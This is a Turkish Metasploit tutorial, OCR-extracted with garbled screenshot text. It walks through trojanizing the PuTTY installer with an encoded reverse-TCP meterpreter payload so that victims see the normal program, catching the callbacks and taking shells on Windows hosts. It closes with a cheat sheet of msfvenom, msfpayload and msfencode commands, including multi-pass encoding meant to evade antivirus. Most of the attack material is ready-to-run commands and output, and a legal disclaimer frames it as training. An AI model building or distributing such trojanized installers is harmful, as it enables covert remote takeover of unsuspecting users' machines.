- Proxy
- Telnet
- Rlogin
- 55H
- Seral

About

Basic options for your PuTTY session

Specify the destination you want to connect to

Host Mame (or IP address)

Port

|z

Connection type:

(JRaw () Telnet () Rlogin @ 55H () Seral

Load, save or delete a stored session

Saved Sessions

Default Settings

Close window on exit:

() Mways () MNever

Load

Save

Delete
(®) Only on clean exit
Cpen Cancel

Putty indirme Linki:

https://www.chiark.greenend.org.uk/~sgtatham/

putty/latest.html

Piyasada Putty ismiyle yayinlanmis zararsiz bu uygulamayi simdi virGsli yapalim.

Kali Linux Terminal:
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msfvenom -p windows/meterpreter/reverse tcp LHOST=172.16.3.73
LPORT=443 -a x86 —--platform windows -x /root/Downloads/putty.exe
-k -e x86/shikata ga nai-i 5 -b "\x00" -f exe -o Desktop/putty.exe

Ciktr:
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata ga nai

x86/shikata ga nai succeeded with size 360 (iteration=0

)
x86/shikata_ga nai succeeded with size 387 (iteration=1)
x86/shikata ga nai succeeded with size 414 (iteration=2)
)
)

(

(

(
x86/shikata _ga nai succeeded with size 441 (iteration=3
x86/shikata ga nai succeeded with size 468 (iteration=4
x86/shikata _ga nai chosen with final size 468

Payload size: 468 bytes

Final size of exe file: 810496 bytes

Saved as: Desktop/putty.exe
Ardindan énceki senaryodan arta kalanlari sonlandiralim ve tekrar dinleme moduna gegelim.

Kali Linux Terminal:

msf exploit (multi/handler) > sessions -k 4,5,6 // pidNo, pidNo, ...

msf exploit (multi/handler) > jobs -k 1 // jobs -k jobID

4 msf> use exploit/multi/handler
5 msf> set payload windows/meterpreter/reverse tcp
6 msf> set lhost X.X.X.X // Kali Linux IP si
7 msf> set lport 443
msf> set ExitOnSession false

msf> exploit -j

Ciktr:

[*] Exploit running as background job 1.
[*] Started reverse TCP handler on X.X.X.X:443
msf exploit (multi/handler) >

Dikkat ederseniz daha onceki iki ornekte kullanilan

1 msf> set AutoRunScript post/windows/manage/migrate

2 msf> set NAME explorer.exe
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satirlari bu sefer kullaniimadi. Gunku kullanicinin legal yazilimin arayuzini ekraninda olagan
sekilde gorintilemesini ve siphelenmemesini saglamak istiyoruz.

Simdi olusturdugumuz putty.exe dosyasini internete koydugumuzu ve kurbanlarin da
indirdiklerini varsayalim.

Windows XP

File Machine View Input Devices Help
oAy _—— - » ,‘ ——

Belgelerim ] Ext C.EXE
bu F

- B | =] r
Bilgisayarim Vnc.exe | 1"":.hr:e:-: ru:ntep-a 2XE
: o

A

incomingiexe . deneme.exe

Gooale Chrome

o
o

POF N

tim  zaratliBelge.pdf

‘g Basiat ) Drive'im - Google Driv... R | &% 07:30

“ e @@ O @R Right ctrl

Windows 10
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]

pentest
Toollan  KOPYALA...

+0 N
ThisPC  vMware 'Y

Workstati...

Recycle Bin

Firefox notepad.exe

9 O

Google  deneme.exe
Chrome

Windows Server 2012
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File Machine View Input Devices Help

Recycle Bin

"

notepad

deneme

a8 Windows Server 2012 R2

Windows Server 2012 R2 Standard
Build 9600

H_{ Fﬁ @ _.—-T_J 3 60 B 12.2::;?]18

| ) @ i T ) Right ctrl

Ardindan kurbanlarin indirdikleri dosyalari ¢alistirdiklarini varsayalim.

Windows XP
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File Machine View

-

zaratliBelge.pdf

=

downloadfile. ...

"7J Baslat

Input Devices Help
- .

Ri

X PuTTY Configuration

Category:

!

(= Session
Logaing

(= Terminal
Keyboard
Bell
Features

(= Window
Appearance
Behaviour
Translation
Selection
Colours

[=)- Connection
Data
Proxy
Telnet
Rlogin

#-S5H

Serial

Basic options for your PuTTY session

2 PuTTY Configuration

Specify the destination you want to connect to
Host Name [or IP address) Port

[ |22

Connection type:
ORaw O Telnet ORlogn ®55H O Serial

Load, save or delete a stored session
Saved Sessions

Default Settings

| Load

Close window on exit:

O always O MNever (& Only on clean exit

Open l [ Cancel

J

%8 @ & @ @@ Right Ctrl

08:05

TR %Y.x x/

Windows 10
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pentest L BT

Tool'lan KOPYALA...

This PC VMware

Workstati...

Recycle Bin putty

aaaaa.png
%

Control WinSCP

Panel

g 0“'

Internet 3.0.exe
Explorer

Y

Firefox notepad.exe

9 B

Google deneme.exe
Chrome

Windows Server 2012

®

Category:

=I- Session
Logging

=I- Teminal
Keyboard
Bell
Features

=I- Window
Appearance
Behaviour
Translation
Selection
Colours

=I- Connection
Data
Proxy
Telnet
Rlogin
SSH
Serial

Basic options for your PuTTY session

Specify the destination you want to connect to
Host Name (or IP address) Port

2

Connection type:
ORaw (OTelnet ORlogin @SSH O Serial

Load, save or delete a stored session
Saved Sessions

Default Settings

Close window on exit:
OAways ONever (@ Only on clean exit

Open
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File Machine View Input Devices Help

=

Recycle Bin

-

notepad @

Category:

=I- Session
i i Logging
=I- Terminal

- Keyboard

PuTTY Configuration

Basic options for your PuTTY session

Specify the destination you want to connect to
Host Name (or IP address)

deneme

- Bell

: Features
— - Window
[ Appearance
- Behaviour
Translation

C_onnec:tion type:

Saved Sessions

O Raw O Telnet O Rlogin ® SSH

) Seqal

Load, save or delete a stored session

- Selection

- Colours

H Default Settings
- Connection

Close window on exit:
O Aways O

() Never

(®) Only on clean exit

ows Server 2012 R2

Windows Server 2012 R2 Standard
Build 9600

o 08:05
iz (b 12.11.2018

=) B P 9 1 [ 7 [0 @ (3 Right ctrl

Bu siralarda saldirganin sisteminde oturumlarin elde edildigine dair c¢iktilar belirecektir.

Ciktr:

msf exploit (multi/handler) > ((( Beklerken oturumlar gelir )))

Sending stage (179779 bytes) to
Meterpreter session 4 opened (X.

Y Y

X
Sending stage (179779 bytes) to Z

X

1

X

. .z
Meterpreter session 5 opened (X.X.
Sending stage (179779 bytes) to

Meterpreter session 6 opened (X.

7

IR,
XX N X K

((( Bir kez ENTER )))

Y
X:443 -> Y.Y.Y.Y:1050)
Z
X

2443 -> 72.72.72.2:49159)
16.3.111
X:443 -> T.T.T.T:1667)

msf exploit(multi/handler) > (( Konsol arayizil yine gelir ))

Simdi elde ettigimiz oturumlari listeleyelim.

Kali Linux Terminal:
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1 msf exploit (multi/handler) > sessions

Ciktr:

Active sessions

Id Type Information Connection

7 meterpreter x86/windows WIN-VJ7UU\Administrator X.X X:443 ->

@ WIN-VJ7UU9G4VTO Y.Y Y:49159 (A.B.C.D)
8 meterpreter x86/windows PENTEST-WINXP\pentest X.X.X.X:443 —>

@ PENTEST-WINXP T.T T:1040 (E.F.G.H)
9 meterpreter x86/windows HFSPENTEST\pentest X.X X:443 ->

@ HFSPENTESTO1 K.K K:1881 (I.J.K.L)

Simdi oturumlardan birine id'si ile gegis yapalim.

Kali Linux Terminal:

1 msf exploit (multi/handler) > sessions -1 8

Ciktr:

[*] Starting interaction with 8...

meterpreter > ((( Icerdeyiz ))

Simdi hedef sistemin komut satirini alalim ve isletim sistemi & versiyonunu 6grenelim.

Kali Linux Terminal:

1 meterpreter > shell

Ciktr:

Process 1464 created.

Channel 1 created.

Microsoft Windows [Version 6.3.9600]

(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\Desktop>

Kali Linux Terminal:

1 C:\Documents and Settings\pentest\Desktop > systeminfo | findstr /C:"OS"

Cikti:
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0s
oS
oS
0s
0Ss

Name:

Version:
Manufacturer:
Configuration:

Build Type:
BIOS Version:

Microsoft Windows Server 2012 R2 Standard

X.Y.7Z.

N/A Build ABCDEF
Microsoft Corporation
Standalone Server

Multiprocessor Free
ABC DEF, X.Y.Z

Son olarak sizdigimiz bu sistemin masaustu 6gelerini goruntuleyelim. Kali Linux Terminal:

1

Ci

Volume in drive C has no label.

kti:

Volume Serial Number is ABC-FDEF

C:\Users\Administrator\Desktop> dir

Directory of C:\Users\Administrator\Desktop

12.
12.
09.
08.
12.

11

11.
.2018
11.
11.
11.

2018

2018
2018
2018

07:
07:
14:
15:
07:

30 <DIR>

30 <DIR>

32 61.
46 111.
29 810.
3 File(s)

2 Dir (s) 27.001.

C:\Users\Administrator\Desktop>

952
104
496

983.

946

deneme.exe
notepad.exe
putty.exe
552 bytes

.112 bytes free

Evet, son bir not daha ekleyelim ve yaziyi noktalayalim. Putty yazilimini ekraninda
goruntiileyen kurban Putty'yi normal bir sekilde kullanabilecektir. Ornegin kurban indirdigi putty
programinin uzak bir sisteme guvenli baglanti kur (SSH) 6zelligini sorunsuzca kullanabilir.
Ancak bu sirada meterpreter payload'umuz Putty process'inin icerisinde ayri bir thread olarak
calisacagindan sistemin igerisinde sessiz sedasiz faaliyetlerde bulunabiliriz. Asagida virusli

putty yaziliminin 6rnegin guvenli
gosterilmistir:

baglanti

kur 6zelliginin sorunsuzca kullanilabildigi
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File Machine View Input Devices Help

=B PuTTY Configuration

Category:

o =I- Session Basic options for your PuTTY session

' "_Dggi”g Specify the destination you wart to connect to
7 TE""P;::LUE » Host Name for IP address) Fort

Bel 172.16.99.55 |[22

Features onnection type:
=- Window \ O Telnet O Rlogin @ SSH O Serial

- Translation
- Selection
- Colours
=~ Connection
- Data
Prowy
Telnet
Rlegin
#-S5H
Serial

Defauk Settings

Close window on ext B
O Aways O Never @ Only on clean ext

o

ZRNSAE DTG s
B kF P EP [0SR Right cirl

e View Input Devices Help

Recycle Bin

E‘! 172.16.3.97 - PuTTY

notepad

deneme

am Windows Server 2012R2

Windows Server 2012 R2 Standard

Build 9600
—] = m 08:34
@ =11 g b2 G052 M 15 11000

20 & @ @& @ @3 right ctrl
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File Machine WView Input Devices Help

=

Recycle Bin

E! 172.16.3.97 - PuTTY

notepad

deneme

2% Windows Server 2012R2

Windows Server 2012 R2 Standard
Build 9600

r- @ #-\JJ f [ 4 B 122?.?2'5013
BO%E S BPDBErghccrl

File Machine View Input Devices Help
Recycle Bin

E‘L hefese@TUBITAK-HASANFSIMSEK3: ~

notepad

deneme

((( SSH Baglantisi Saflanda )))

2= Windows Server 2012R2

Windows Server 2012 R2 Standard
Build 9600

ZEY el
BO%®F L ER @SR right ctrl
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Goruldugu Uzere programin ssh baglantisi kurma 6zelliginden faydalanarak sorunsuz bir
sekilde bir makinaya baglanti kurabildik.

Evet, makalenin ve bu makalenin yer aldigi makale zincirinin sonuna gelmis bulunmaktayiz.
Edindiginiz bilgileri milli ve vyerli sistemlerin korunmasi yolunda harcamaniz dilegiyle...

Sorumluluk Reddi

Bu makale ve bu makalenin yer aldi§i makale zincirinde anlatilan her bir teknigin
izinsizce bir sisteme denenmesi sonucu tespit edilmeniz durumunda 5 ila 10 yil hapis
cezasina carptirilabileceginizi ve ayriyetten yaptiginiz hasara oranla maddi tazminat
cezasina carptirilabileceginizi bildiginizi varsayiyorum. Tim bunlar bir yana sicilinizi
kirletmeniz sonucunda bu alanda ne kadar bilgili olursaniz olun "glivenilmez" damgasi
yiyeceginizden Turkiye'de siber guvenlik sektorini unutmak mecburiyetinde
kalacaginizi da bildiginizi varsayiyorum. Bu makale ve bu makalenin yer aldigi makale
zincirinde egitim amach anlatilan tekniklerin kéti yonde kullaniimasindan tarafim
sorumlu tutulamaz. Bu bilgiler sadece ve sadece llkemizde siber glivenlik alanindaki
eleman eksikligini gidermek maksadiyla paylasiimaktadir. Makale igerisinde yer alan
bazi kelime kaliplarinin (6rn; "sizmak istedigimiz / saldirmak istedigimiz" gibi) sadece
ve sadece bir sizma testgci (pentester) bakis agisindan ibaret oldugunu beyan etmek
isterim.
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METASPLOIT DETAY BILGILER (OZET)

Bu makalede metasploit hakkinda bir énceki makalede paylasiimis bilgilerin 6zeti yer
almaktadir. Bu makalenin ilintili  oldugu konu zinciri asagida  verilmigtir:

[*] Bu belgede bahsedilecek komutlar Kali 1.0.4 ve Kali 2018.1° de test edilmistir ve
sorunsuz ¢alistiriimiglardir.

e Metasploit Framework’e Giris

e Metasploit ile Bir Sizma Uygulamasi (ms08_067)
e Metasploit ile Saldiri Asamalari (Ozet)

e Metasploit Komutlari

e Metasploit Detay Bilgiler

e Metasploit Detay Bilgiler (Ozet)

Asagida msfcli, msfpayload, msfencode ve msfvenom'un kullanimi verilmistir.
a. Msfcli

Kullanim Diziligi (Syntax’i)

1 msfcli [Exploitadi] [Option=value] [Mode]

msfcli komutun adi, exploitadi kismina msfconsole'da girdiginiz exploit yolu ve ismi,

option=value kismina secilen modulin parametre ve degerleri, son olarak da mode
kismina bu girilecek komut igin uygulanacak nihai aksiyon gelir.

Msfcli Modlar

(S)ummary

(O)ptions

(A)dvanced

(I)DS Evasion
(P)ayloads
(T)argets
(AC) tions

(C) heck

Yaptidi Is

Yardim menistniin goriinttilenmesini saglar.
Belirtilen exploit hakkinda detayli bilgi
verir (Msfconsole'daki info'dur).
Belirtilen exploit'in set edilecek
degiskenlerini sunar. (Msfconsole'daki show
options)

Berlitilen exploit ig¢in ilgili

tim dediskenleri

sunar. (Msfconsole'daki show advanced)
IDS'lere yakalanmamak ig¢in ayarlanabilecek
degiskenleri sunar.

Belirtilen exploit'le uyumlu tim payload'lara
sunar.

Berlitilen exploit'in ise yaradigi isletim
sistemlerini sunar.

Berlirtilen exploit ile kullanilabilecek
auxiliary'leri sunar.

Belirtilen exploit'in hedef sistemde ise
yaraylp yaramayacagini tespit eder.
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(E) xecute Belirtilen exploit'i ¢alistirair.

Kullanimi

# Secilen modiil ic¢in show (o)ptions yapilir
msfcli exploit/windows/smb/ms08 067 netapi RHOST=X.X.X.X RPORT=445
PAYLOAD=windows/meterpreter/bind tcp LHOST=Y.Y.Y.Y O // (O)ptions

# Secilen modiil calistairilar.
msfcli exploit/windows/smb/ms08 067 netapi RHOST=X.X.X.X RPORT=445
PAYLOAD=windows/meterpreter/bind tcp LHOST=Y.Y.Y.Y E // (E)xecute

Msfcli Hk.

Artik msfconsole tool'u ile de tek satirda bu islemler yapilabilmektedir. msfconsole’a -x
parametresi ile eklenecek msfconsole komutlari (6rn; use, set, exploit gibi...) tek satir
halinde girilebilir ve sonuca ulasabiliriz.

# Seg¢ilen modiil ig¢in show (o)ptions yapilir.

msfconsole -x "use exploit/windows/smb/ms08 067 netapi; set RHOST
172.16.3.120; set RPORT 445; set PAYLOAD windows/meterpreter/bind tcp;
set LHOST 172.16.3.73; show options"

# Secilen modiil calistirilir.

msfconsole -x "use exploit/windows/smb/ms08 067 netapi; set RHOST
172.16.3.120; set RPORT 445; set PAYLOAD windows/meterpreter/bind tcp;
set LHOST 172.16.3.73; exploit"

Uyari

Msfcli tool'u deprecated oldugu igin yeni Kali'lerde aslinda kullaniimamaktadir. Ancak
yeni Kali’lerde yapilan find / -name "msfcli" aramasi sonucunda /usr/share/framework2/
dizini altinda deprecated olmus msfcli ve diger metasploit framework yan tool’larinin
yer aldigi gorulebilir. Dilenirse yeni Kali’lerde bu destegi ¢ekilmis tool'lar belirtilen dizin
altindan kullanilabilir. Fakat eski Kali'lerdeki gibi stabil ¢alismayabilir. Clnkl bagimh
oldugu metasploit framework yeni Kali’lerde daha giincel durumdadir. Orn;

Kali 2018

cd /usr/share/framework2/
./msfcli -h

b. Msfpayload
Kullanim Diziligi (Syntax’i)

1 msfpayload [Options] [Payload] [Parametre=arguman] [CiktiFormati]
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msfpayload komutun adi, options msfpayload’un tool parametre ve argumanlarini (6rn;
-h (yani help), -l (yani payload’lari listelemeye yarayan list) gibi), payload payload'un
ismini, parametre=arguman secilen payload'un parametre ve atanacak degerlerini,
ciktiFormati ise payload'un hangi dilde wrap edilerek (etraflica sarilarak) ¢iktilanacagini
belirtir.

Msfpayload Cikti Formatlari

Cikti Format Msfpayload'a Konulacak Harfi

]

]

[Hlarp Dili
lJerl Dili
uby[Y] Dili

law (Ham) Hal
Javascript Dili
X]le Hali

111 Hali

]Jisual Basic Dili
Jar Hali
ytho[N] Dili

ZE<UOXUGgKDDAQO

Kullanimi

# Metasploit payload’lari siralanir.
msfpayload -1

# Secilen modiiliin secenekleri siralanir.
msfpayload windows/shell bind tcp O // (O)ptions

# Secilen payload’un segeneklerine verilen dederler nedeniyle
# secenekler teyit amac¢li tekrar siralanir.

msfpayload windows/shell bind tcp EXITFUNC=thread LPORT=1234
RHOST=222.168.33.41 O // (O)ptions

# Secilen payload modiilti c¢iktilanir.
msfpayload windows/shell bind tcp EXITFUNC=thread LPORT=1234
RHOST=222.168.33.41 X > payload.exe // e[X]le cikti formatidir.

Uyari

Msfpayload tool'u deprecated oldugu icin yeni Kali’lerde aslinda kullaniimamaktadir.
Ancak yeni Kal’lerde yapilan find / -name "msfpayload" aramasi sonucunda
lusr/share/framework2/ dizini altinda deprecated olmus msfpayload ve diger metasploit
framework yan toollarinin yer aldigi gérulebilir. Dilenirse yeni Kali'lerden bu destegi
cekilmis tool’lar belirtilen dizin altindan kullanilabilir. Fakat eski Kali'lerdeki gibi stabil
calismayabilir. Cunki bagimh oldugu metasploit framework yeni Kali’lerde daha guncel
durumdadir. Orn;
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Kali 2018

cd /usr/share/framework2/
./msfpayload -h

c. Msfencode
Kullanim Diziligi (Syntax'l) :

1 msfencode [Options]

msfencode komutun adi, options msfencode'un tool parametre ve degerlerini alir.

Msfencode Secenekleri

-e : encoding ismi

-t : ¢ikti formata

-0 : ¢ikti dosyasi ismi

-C : count (iterasyon) sayisi
Kullanimi

# Encoding tekniklerini siralar.
msfencode -1

# Ciktilanan payload encode’lanir.
msfpayload windows/meterpreter/reverse tcp LHOST=192.168.2.2 LPORT=4443
R | msfencode -e x86/shikata ga nai -t exe -o /root/Desktop/payload.exe

# Ciktilanan payload birden fazla kez ayni encode’lamaya

# tabi tutulur. [YOntem I]

msfpayload windows/meterpreter/reverse tcp LHOST=192.168.2.2 LPORT=4443
R | msfencode -e x86/shikata_ga_nai -t raw | msfencode -e
x86/shikata ga nai -t raw | msfencode -e x86/shikata ga nai -t raw |
msfencode -e x86/shikata ga nai -t exe -o payload.exe

# Ciktilanan payload birden fazla kez ayni encode’lamaya

# tabi tutulur. [Yontem II]

msfpayload windows/meterpreter/reverse tcp LHOST=192.168.2.2 LPORT=4443
R | msfencode -e x86/shikata ga nai -c 5 -t exe -o payload.exe

# Ciktilanan payload farkli farkli encoding teknikleriyle encode’lanir.
msfpayload windows/meterpreter/reverse tcp LHOST=192.168.2.2 LPORT=4443
R | msfencode -e x86/shikata_ga_nai -t raw | msfencode -e

x86/alpha upper -t raw | msfencode -e x86/shikata ga nai -t raw |
msfencode -e x86/countdown -t exe -o payload.exe
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# Ciktilanan payload farkli farkli encoding teknikleriyle her biri

# icin birden fazla kez encode’lamaya tabi tutulur.

msfpayload windows/meterpreter/reverse tcp LHOST=192.168.2.2 LPORT=4443

R | msfencode -e x86/shikata ga nai -c 5 -t raw | msfencode -e

x86/alpha upper -c 3 -t raw | msfencode -e x86/shikata ga nai -c 4 -t
raw | msfencode -e x86/countdown -c 2 -t exe -0 payload.exe

Uyari

Msfencode tool'u deprecated oldugu igin yeni Kali’lerde aslinda kullaniimamaktadir.
Ancak vyeni Kali’lerde yapilan find / -name "msfencode" aramasi sonucunda
{usr/share/framework2/ dizini altinda deprecated olmus msfencode ve diger metasploit
framework yan toollarinin yer aldigi gorulebilir. Dilenirse yeni Kali'lerden bu destegi
cekilmis tool’lar belirtilen dizin altindan kullanilabilir. Fakat eski Kali'lerdeki gibi stabil
calismayabilir. Clinki bagimli oldugu metasploit framework yeni Kali’lerde daha gtlincel
durumdadir. Orn;

Kali 2018
cd /usr/share/framework2/

./msfencode -h

d. Msfvenom

Kullanim Diziligi (Syntax’i)

1 msfvenom [Options] [Parametre=arguman] [CiktiFormati]

msfvenom komutun adi, options msfvenom’un tool parametrelerini,
parametre=arguman secilen modulin parametreleri ve dederlerini, ciktiFormati ise
payload’un son halinin hangi formatta olacag: bilgisini alir.

Kullanimi

# Metasploit Framework payload’larini, encoder’larini ve
# NOP’larini siralar.
msfvenom -1

# Metasploit Framework payload’larini siralar.
msfvenom -1 payloads

# Metasploit Framework encoder’larini siralar.
msfvenom -1 encoders

# Metasploit Framework NOP’larini siralar.
msfvenom -1 nops
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i) Msfvenom ile Payload Olusturma

# Secilen payload’un secenekleri siralanir.
msfvenom -p windows/shell bind tcp --payload-options

(( Not: Eski kali'lerde --payload-options yerine -o kullaniimaktadir.))
(( Orn; msfvenom -p windows/shell_bind_tcp -0))

# Sec¢ilen payload’un seceneklerine verilen dederler nedeniyle

# secenekler teyit amac¢li tekrar siralanir. [Not: Atanan degerleri
# gOsterme 6zelligi heniiz desteklenmemektedir]

msfvenom -p windows/shell bind tcp EXITFUNC=thread LPORT=1234
RHOST=222.168.33.41 --payload-options

(( Not: Eski kali’lerde --payload-options yerine -o kullaniimaktadir.))
(( Orn; msfvenom -p windows/shell_bind_tcp -0 ))

# Secilen payload’un c¢iktisi alinir.
msfvenom -p windows/shell bind tcp EXITFUNC=seh LPORT=1234
RHOST=222.168.33.41 -f exe -o payload.exe

ii) Msfvenom ile Encode’lama

# Ciktilanan payload encode’lanir.

msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.43.18
LPORT=1234 -a x86 --platform windows -e x86/shikata ga nai -f exe -o
payload.exe

# Ciktilanan payload birden fazla kez ayni encode’lamaya

# tabi tutulur. [Yontem I]

msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.43.18
LPORT=1234 -a x86 --platform windows -e x86/shikata ga nai -f exe |
msfvenom -a x86 --platform windows -e x86/shikata ga nai -f exe |
msfvenom -a x86 --platform windows -e x86/shikata ga nai -f exe |
msfvenom -a x86 --platform windows -e x86/shikata ga nai -f exe -o
payload.exe

# Ciktilanan payload birden fazla kez ayni encode’ lamaya

# tabi tutulur. [Yontem ITI]

msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.43.18
LPORT=1234 -a x86 --platform windows -e x86/shikata ga nai -i 4 -f exe
-0 payload.exe

# Ciktilanan payload farkli farkli encoding teknikleriyle

# encode’lanir.

msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.43.18
LPORT=1234 -a x86 --platform windows -e x86/shikata ga nai -f exe |
msfvenom -a x86 --platform windows -e x86/countdown -f exe | msfvenom
-a x86 --platform windows -e x86/shikata_ga_nai -f exe | msfvenom -a
x86 --platform windows -e cmd/echo -f exe -o payload.exe

# Ciktilanan payload farkli farkli encoding teknikleriyle
# her biri icin birden fazla kez encode’lamaya tabi tutulur.
msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.43.18
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LPORT=1234 -a x86 --platform windows -e x86/shikata ga nai -i 4 -f exe
| msfvenom -a x86 --platform windows -e x86/countdown -i 2 -f exe |
msfvenom -a x86 --platform windows -e x86/shikata ga nai -i 5 -f exe |
msfvenom -a x86 --platform windows -e cmd/echo -i 3 -f exe -o
payload.exe

Bu 6zet niteligindeki makaleyle metasploit konu zinciri tamamlanmis bulunmaktadir. lyi

calismalar dilerim.
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